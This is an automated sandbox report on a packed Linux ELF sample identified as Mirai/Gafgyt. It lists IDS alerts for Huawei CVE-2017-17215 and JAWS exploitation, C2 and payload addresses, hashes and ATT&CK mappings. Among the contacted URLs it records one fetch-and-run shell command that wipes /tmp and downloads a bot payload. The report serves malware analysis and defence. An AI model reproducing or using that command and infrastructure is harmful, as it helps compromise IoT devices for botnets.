Source: unknown	Network traffic detected: HTTP traffic on port 54974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52390 -> 37215

Source: na.elf

Submission file: segment LOAD with 7.9575 entropy (max. 8.0)

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Queries kernel information via 'uname':			Jump to behavior

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 5500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5502, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Gafgyt

Source: Yara match	File source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: 5500.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5502.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 5500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5502, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Hidden Files and Directories	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Obfuscated Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
na.elf	61%	ReversingLabs	Linux.Packed.Mirai
na.elf	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://upx.sf.net	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
plutoc2.site	104.248.138.112	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+92.249.48.84/jaws;sh+/tmp/jaws	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://upx.sf.net	na.elf	true	URL Reputation: safe	unknown
http://92.249.48.84/bin	na.elf, 5502.1.0000000008048000.000000000805d000.r-x.sdmp	false		unknown
http://schemas.xmlsoap.org/soap/encoding/	na.elf, 5500.1.0000000008048000.000000000805d000.r-x.sdmp, na.elf, 5502.1.0000000008048000.000000000805d000.r-x.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	na.elf, 5500.1.0000000008048000.000000000805d000.r-x.sdmp, na.elf, 5502.1.0000000008048000.000000000805d000.r-x.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
202.60.94.15	unknown	Australia	45671	AS45671-NET-AUWholesaleServicesProviderAU	false
41.182.46.2	unknown	Namibia	36996	TELECOM-NAMIBIANA	false
50.75.112.242	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
37.187.76.116	unknown	France	16276	OVHFR	false
171.193.31.139	unknown	United States	10794	BANKAMERICAUS	false
156.130.158.125	unknown	United States	29975	VODACOM-ZA	false
223.221.152.101	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
156.63.125.40	unknown	United States	19902	NET-STATE-OHIOUS	false
41.198.255.141	unknown	South Africa	328306	Avanti-ASZA	false
71.194.240.130	unknown	United States	7922	COMCAST-7922US	false
46.201.252.50	unknown	Ukraine	6849	UKRTELNETUA	false
42.7.180.42	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
94.239.23.181	unknown	France	5410	BOUYGTEL-ISPFR	false
41.54.12.235	unknown	South Africa	37168	CELL-CZA	false
191.232.45.242	unknown	Brazil	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
148.92.56.190	unknown	United States	786	JANETJiscServicesLimitedGB	false
123.249.35.43	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
172.72.181.244	unknown	United States	11426	TWC-11426-CAROLINASUS	false
117.141.113.145	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
93.215.228.2	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
104.64.19.46	unknown	United States	16625	AKAMAI-ASUS	false
114.60.73.255	unknown	China	9812	CNNIC-CN-COLNETOrientalCableNetworkCoLtdCN	false
42.143.115.145	unknown	China	4249	LILLY-ASUS	false
76.251.40.143	unknown	United States	7018	ATT-INTERNET4US	false
170.165.158.250	unknown	Singapore	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
123.31.53.19	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
197.148.170.232	unknown	Madagascar	37303	AIRTELMADAMG	false
82.11.221.59	unknown	United Kingdom	5089	NTLGB	false
212.214.203.191	unknown	Sweden	3246	TDCSONGTele2BusinessTDCSwedenSE	false
42.21.33.103	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
156.215.141.57	unknown	Egypt	8452	TE-ASTE-ASEG	false
195.89.53.245	unknown	United Kingdom	1273	CWVodafoneGroupPLCEU	false
117.1.109.7	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
210.137.46.42	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
123.214.239.154	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
156.72.230.178	unknown	United States	29975	VODACOM-ZA	false
156.44.103.5	unknown	Canada	3527	NIH-NETUS	false
198.145.140.187	unknown	United States	2044	IINET-2044US	false
47.164.75.205	unknown	United States	5650	FRONTIER-FRTRUS	false
178.19.194.91	unknown	Faroe Islands	15389	FAROESE-TELECOM-ASFO	false
117.179.233.120	unknown	China	132525	CMNET-HEILONGJIANG-CNHeiLongJiangMobileCommunicationComp	false
2.113.39.129	unknown	Italy	3269	ASN-IBSNAZIT	false
118.213.73.6	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
152.83.207.199	unknown	Australia	6262	CSIROCommonwealthScientificandIndustrialAU	false
197.60.107.63	unknown	Egypt	8452	TE-ASTE-ASEG	false
170.9.109.249	unknown	United States	36590	EMERSON-ELECTRICUS	false
78.171.46.120	unknown	Turkey	9121	TTNETTR	false
132.37.182.26	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
94.66.233.253	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
217.19.227.101	unknown	Belgium	34762	COMBELL-ASBE	false
165.110.52.178	unknown	United States	4185	ATTIS-ASN4185US	false
178.92.125.249	unknown	Ukraine	6849	UKRTELNETUA	false
178.225.147.23	unknown	Netherlands	31615	TMO-NL-ASNL	false
212.50.137.188	unknown	Finland	16086	DNAFI	false
197.247.167.12	unknown	Morocco	36925	ASMediMA	false
62.82.0.222	unknown	Spain	6739	ONO-ASCableuropa-ONOES	false
133.166.17.9	unknown	Japan	11363	FUJITSU-USAUS	false
77.36.55.194	unknown	Romania	208615	LUC-NET-ASRO	false
212.99.45.137	unknown	France	12670	AS-COMPLETELFR	false
117.65.71.120	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
114.209.227.80	unknown	China	9595	XEPHIONNTT-MECorporationJP	false
156.17.237.218	unknown	Poland	8970	WASKWROCMAN-EDUeducationalpartofWASKnetworkWroclaw	false
147.29.88.216	unknown	Denmark	5624	DXCTechnologyDK	false
60.120.70.48	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
108.239.35.103	unknown	United States	7018	ATT-INTERNET4US	false
223.81.247.89	unknown	China	24444	CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany	false
68.223.74.163	unknown	United States	6389	BELLSOUTH-NET-BLKUS	false
108.159.91.70	unknown	United States	16509	AMAZON-02US	false
123.87.41.92	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
177.130.200.180	unknown	Brazil	28270	VideomarRedeNordesteSABR	false
41.195.197.31	unknown	South Africa	16637	MTNNS-ASZA	false
197.191.38.224	unknown	Ghana	37140	zain-asGH	false
123.163.28.100	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
94.183.231.111	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
37.240.54.95	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
2.218.141.113	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
41.24.221.237	unknown	South Africa	36994	Vodacom-VBZA	false
13.117.171.103	unknown	United States	16509	AMAZON-02US	false
217.181.57.7	unknown	United Kingdom	5503	RMIFLGB	false
220.129.73.139	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
117.90.111.48	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
176.61.179.170	unknown	Austria	25447	JM-DATAHackl-Str1Object2AT	false
41.92.95.76	unknown	Morocco	36925	ASMediMA	false
187.46.78.46	unknown	Brazil	26615	TIMSABR	false
156.175.120.70	unknown	Egypt	36992	ETISALAT-MISREG	false
84.95.46.66	unknown	Israel	9116	GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste	false
197.38.240.105	unknown	Egypt	8452	TE-ASTE-ASEG	false
5.68.209.100	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
41.122.162.189	unknown	South Africa	16637	MTNNS-ASZA	false
136.152.48.129	unknown	United States	25	UCBUS	false
41.71.222.90	unknown	Nigeria	37053	RSAWEB-ASZA	false
70.30.247.11	unknown	Canada	577	BACOMCA	false
41.162.186.189	unknown	South Africa	36937	Neotel-ASZA	false
178.230.74.165	unknown	Netherlands	31615	TMO-NL-ASNL	false
123.143.23.81	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
155.212.202.36	unknown	United States	7029	WINDSTREAMUS	false
197.169.124.242	unknown	South Africa	37168	CELL-CZA	false
81.38.229.166	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
202.132.234.64	unknown	Taiwan; Republic of China (ROC)	9924	TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi	false
172.195.226.10	unknown	Australia	18747	IFX18747US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
202.60.94.15	23uwNAzht8	Get hash	malicious	Mirai	Browse
41.182.46.2	KuWSWi7UYX.elf	Get hash	malicious	Mirai	Browse
	bk.mips-20221002-1437.elf	Get hash	malicious	Mirai	Browse
	yakuza.x86	Get hash	malicious	Unknown	Browse
156.130.158.125	ywX6tbIdM4.elf	Get hash	malicious	Mirai, Gafgyt	Browse
	XpD4TvBU4h	Get hash	malicious	Mirai	Browse
	vEjGHdNRFj	Get hash	malicious	Gafgyt Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
156.63.125.40	SecuriteInfo.com.Heur.20230517052705954167633.elf	Get hash	malicious	Mirai, Moobot	Browse
41.198.255.141	xsqY3IuVwf.elf	Get hash	malicious	Mirai	Browse
	oFdYu6RyDI.elf	Get hash	malicious	Mirai, Moobot	Browse
	oubAt2KfB9.elf	Get hash	malicious	Mirai, Moobot	Browse
	S6DNzkh376	Get hash	malicious	Unknown	Browse
41.54.12.235	meerkat.x86	Get hash	malicious	Mirai	Browse
	cbr.x86	Get hash	malicious	Mirai	Browse
	YeIevCqrJ2	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	51.195.88.199
	https://mariculturasalinas.com/za/zap/enter.php	Get hash	malicious	Unknown	Browse	144.217.158.133
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	51.89.129.204
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	54.37.203.247
	https://ducati-mlbb.shop/	Get hash	malicious	HTMLPhisher	Browse	46.105.222.162
	http://currently0734.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	51.89.9.252
	https://www.google.com.pe/url?q=QjLtBRuVpCWi&rct=QjLtBRuVpCWi&sa=t&esrc=QjLtBRuVpCWi&source=&cd=QjLtBRuVpCWi&uact=&url=amp%2Fatenasur.cl/wp/ld//QjLtBRuVpCWi/james@domain.com	Get hash	malicious	Captcha Phish	Browse	54.39.125.95
	https://hy.markkasmick.click/cx/tbSgVco_akr35UznLBgMmL_dGwr4A9B_vyg2WwEB0w1LRjKjQMyEnB89mCfTRy8oqnbpdFunqinBhx0TsHvSJdUHnbksc3kdcKecoDvVHa5LAm46atMmRo3D2CHoEu2bmOqt4Ic8O_7AE7Igwgbi5c8zmZf6Fqp_XqcjREPr7609oL7vKm8FfjGLhMetr2oxtpR3ywH4BUElgc7EI7usxj8CJYEUMktwlb7YUzPvYQ7P1PilEV0LqiXI5sm6QVF4ZGl5TIXhnQLOG0kl6WQ0miiZysBfhaNojnPTUvisUUkwOp2fYTxkXEIhZ7ESJ7qXYLxQbmy4RJVeZZZ3RY5rX8W5t8cudSM9Zx7UaxgLH56aOv81v4QfUnzroT9v7LR3jPEjzYXr2LwuykYQnzvV6boWlogU4jkPE6MocRRlRoC6uUx2e1Wseo8MqGWTT2uXo4HbQDneiMF84sQ34*3TnbAxXWu8xLbb_mAOQxUTA3T5TUUZKeU3ziolM8TSVV5Y5LQTFGtNArddwJKdWCb_cLYMxUJpZ3cqM_A	Get hash	malicious	Unknown	Browse	149.56.240.127
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	51.69.23.215
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	51.254.92.217
TELECOM-NAMIBIANA	arm.nn-20241014-0317.elf	Get hash	malicious	Mirai, Okiru	Browse	197.233.4.93
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	41.182.115.119
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	41.182.22.240
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	197.188.244.89
	PeleHfdpzX.elf	Get hash	malicious	Mirai	Browse	41.182.115.121
	na.elf	Get hash	malicious	Mirai	Browse	197.233.253.17
	6ONw866NZg.elf	Get hash	malicious	Mirai	Browse	41.182.10.42
	bnrKk80Fa9.elf	Get hash	malicious	Mirai	Browse	197.233.177.229
	S2sQfgIthZ.elf	Get hash	malicious	Mirai	Browse	41.182.115.119
	nullnet_load.x86.elf	Get hash	malicious	Mirai	Browse	41.182.10.38
TWC-11351-NORTHEASTUS	https://mcafeeinc-mkt-prod2-t.adobe-campaign.com/r/?id=hf505ba5a,7e223f22,7e22536b&e=cDE9JmFmZmlkPTAmY3VsdHVyZT1FTi1VUyZ0az1OUEdkMGVLcjd3SG1jVnF2cHQ2RFpYY3FIbHZlc3lGV1hZN3R5a0ZDTGJWX210NUlTX09UaTEwa291MG15NkZqMCZ0cD02NSZhdD14dXVlczNIRXpPbk45bE5wZzFoMnlFSEpTNnlSSnQxMk4xSzA3N2pHR083QTRYdVdQTzNlNXZmLVdKcUFQQzZYMCZwMj0wMjQvXzAgX29sX2lzX1NlbmRMaW5rX0tleUNhcmRfRE0zMzY4MDkwJnAzPURNMzM2ODA5MA&s=JTMn_G5VW0V9WjEy6_Fw8uIaCQd67lmwdVLQnjaD0bA	Get hash	malicious	Unknown	Browse	98.82.157.137
	http://currently0734.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	98.82.156.107
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	50.75.72.144
	https://www.finaltestwebsite.duckdns.org/UpdateVerifyPrss!/Scotiabank/?key=5050d2156464f8b75b40f3d8cba168a3d4aa145e	Get hash	malicious	HTMLPhisher	Browse	98.82.156.107
	http://mxi.fr/json/upload/dkjxff.php?lfitf5p	Get hash	malicious	Unknown	Browse	98.82.158.241
	arm5.nn-20241014-0317.elf	Get hash	malicious	Mirai, Okiru	Browse	45.46.175.217
	arm7.nn-20241014-0317.elf	Get hash	malicious	Mirai, Okiru	Browse	67.246.121.72
	https://shawri.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	98.82.154.76
	https://shawri.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	98.82.157.231
	https://currenntlyattyah06.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	98.82.157.137
AS45671-NET-AUWholesaleServicesProviderAU	na.elf	Get hash	malicious	Mirai	Browse	202.60.94.164
	RFNnJGB7wy.elf	Get hash	malicious	Mirai	Browse	168.80.10.52
	na.elf	Get hash	malicious	Mirai	Browse	202.60.94.187
	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	221.121.144.149
	SecuriteInfo.com.Linux.Siggen.9999.13221.8731.elf	Get hash	malicious	Unknown	Browse	202.60.94.156
	List of Items0001.doc.exe	Get hash	malicious	FormBook, GuLoader	Browse	221.121.144.149
	BL Draft-Invoice-Packing list-Shipping Document.pif.exe	Get hash	malicious	FormBook	Browse	221.121.144.149
	rfq_last_quater_product_purchase_order_import_list_16_06_2024_000000160924.bat.exe	Get hash	malicious	Remcos	Browse	27.50.75.67
	rfq_final_quater_product_purchase_order_import_list_09_09_2024_00000024.cmd	Get hash	malicious	GuLoader, Remcos	Browse	27.50.75.67
	rfqlastquaterproductpurchaseorderimportlist09.bat	Get hash	malicious	GuLoader, Remcos	Browse	27.50.75.67

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
Entropy (8bit):	7.955315852947924
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	na.elf
File size:	36'468 bytes
MD5:	5180e681041d8b5c4f176c09fc575bc2
SHA1:	2c325d6f812cf4a2d20ef0dfa90198eaa0835dee
SHA256:	1e5b58916707f7b4ede6f4cf7f9c6dfc08ce6e7f39e3c1a025e952864e019ad2
SHA512:	1c85b63d79aa15b4bcc82fc9a2f1333aec0c65419d358ace92c8b5fdd9389db1f8f79ee1c082bcf9884cfdf4a6fcc5808eea10db6c5d898b7bb75d5fa63b9ae2
SSDEEP:	768:WAqA+P55pFT5yIrvg6htPCpHEvnvKKuuQH1PWWnbcuyD7Ufyqk:WAl+P5tT5hvzLKOviKFQH1PFnouy8qqk
TLSH:	B7F2F150179D87A9FFDB513A2843F5AE9860560FB81CB57394B0B02B8D74A4F163C20B
File Content Preview:	.ELF........................4...........4. ...(.....................n...n...........................................Q.td............................pc..UPX!........pS..pS......U..........?..k.I/.j....\.h.blz.e..*.....4.0.N..9..y.#2."A..w.....Bv.:.j...a_.x

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - Linux
ABI Version:	0
Entry Point Address:	0x804fae8
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	0
Section Header Size:	40
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x8048000	0x8048000	0x8d6e	0x8d6e	7.9575	0x5	R E	0x1000
LOAD	0x0	0x8051000	0x8051000	0x0	0xc9e0	0.0000	0x6	RW	0x1000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-14T17:30:17.627654+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40452	144.126.212.192	80	TCP
2024-10-14T17:30:17.627654+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40452	144.126.212.192	80	TCP
2024-10-14T17:30:21.308826+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42730	197.248.185.90	37215	TCP
2024-10-14T17:30:22.087938+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37136	197.131.205.140	37215	TCP
2024-10-14T17:30:22.969102+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	39670	117.105.192.227	443	TCP
2024-10-14T17:30:22.969230+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34804	212.89.46.198	443	TCP
2024-10-14T17:30:23.991082+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49768	148.210.180.33	443	TCP
2024-10-14T17:30:24.058481+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54340	41.174.91.69	37215	TCP
2024-10-14T17:30:24.059000+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56020	156.241.135.202	37215	TCP
2024-10-14T17:30:24.400110+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48368	93.120.225.221	80	TCP
2024-10-14T17:30:24.400110+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48368	93.120.225.221	80	TCP
2024-10-14T17:30:25.907838+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34152	181.114.78.231	80	TCP
2024-10-14T17:30:25.907838+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34152	181.114.78.231	80	TCP
2024-10-14T17:30:26.008509+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52294	210.160.173.188	443	TCP
2024-10-14T17:30:26.008653+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59800	212.59.243.48	443	TCP
2024-10-14T17:30:26.008774+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40740	37.146.27.252	443	TCP
2024-10-14T17:30:26.008785+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38746	148.254.58.101	443	TCP
2024-10-14T17:30:26.008789+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42280	210.30.112.124	443	TCP
2024-10-14T17:30:26.008971+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53826	109.185.208.195	443	TCP
2024-10-14T17:30:26.009162+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44772	178.116.164.93	443	TCP
2024-10-14T17:30:26.009223+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34928	212.64.226.17	443	TCP
2024-10-14T17:30:26.009262+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53354	109.210.128.140	443	TCP
2024-10-14T17:30:26.009288+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	56280	79.164.212.246	443	TCP
2024-10-14T17:30:26.009313+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44484	5.108.111.78	443	TCP
2024-10-14T17:30:26.009332+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41850	37.3.47.200	443	TCP
2024-10-14T17:30:26.009541+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35738	5.176.167.155	443	TCP
